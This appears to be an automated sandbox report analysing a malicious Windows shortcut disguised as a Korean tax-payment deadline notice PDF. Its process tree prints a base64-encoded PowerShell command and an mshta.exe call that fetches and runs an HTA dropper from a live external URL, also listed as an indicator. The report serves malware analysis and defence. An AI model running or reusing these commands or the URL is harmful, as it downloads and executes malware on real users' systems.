Analysis

  • max time kernel
    148s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 12:19

General

  • Target
    7월 신고 납부기한 통지서.pdf.lnk
  • Size 2KB
  • Sample260709-pg9faabt2y
  • SHA256 568b218e978409b5afe37f768a7b0d5fdde23f27f5ed2f39dde17f238e85e6a9
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://link24.kr/3NL6KyG

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\7월 신고 납부기한 통지서.pdf.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIABtAHMAYABoAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAiAGgAdAB0AHAAcwA6AC8ALwBsAGkAbgBrADIANAAuAGsAcgAvADMATgBMADYASwB5AEcAIgA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://link24.kr/3NL6KyG
        3⤵
        • Badlisted process makes network request
        PID:5916

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/4544-2-0x00007FFB192FF000-0x00007FFB19300000-memory.dmp

        memory/4544-4-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

        memory/4544-3-0x00000232D5FA0000-0x00000232D5FC2000-memory.dmp

        memory/4544-7-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

        memory/4544-8-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

        memory/4544-10-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

        memory/4544-11-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp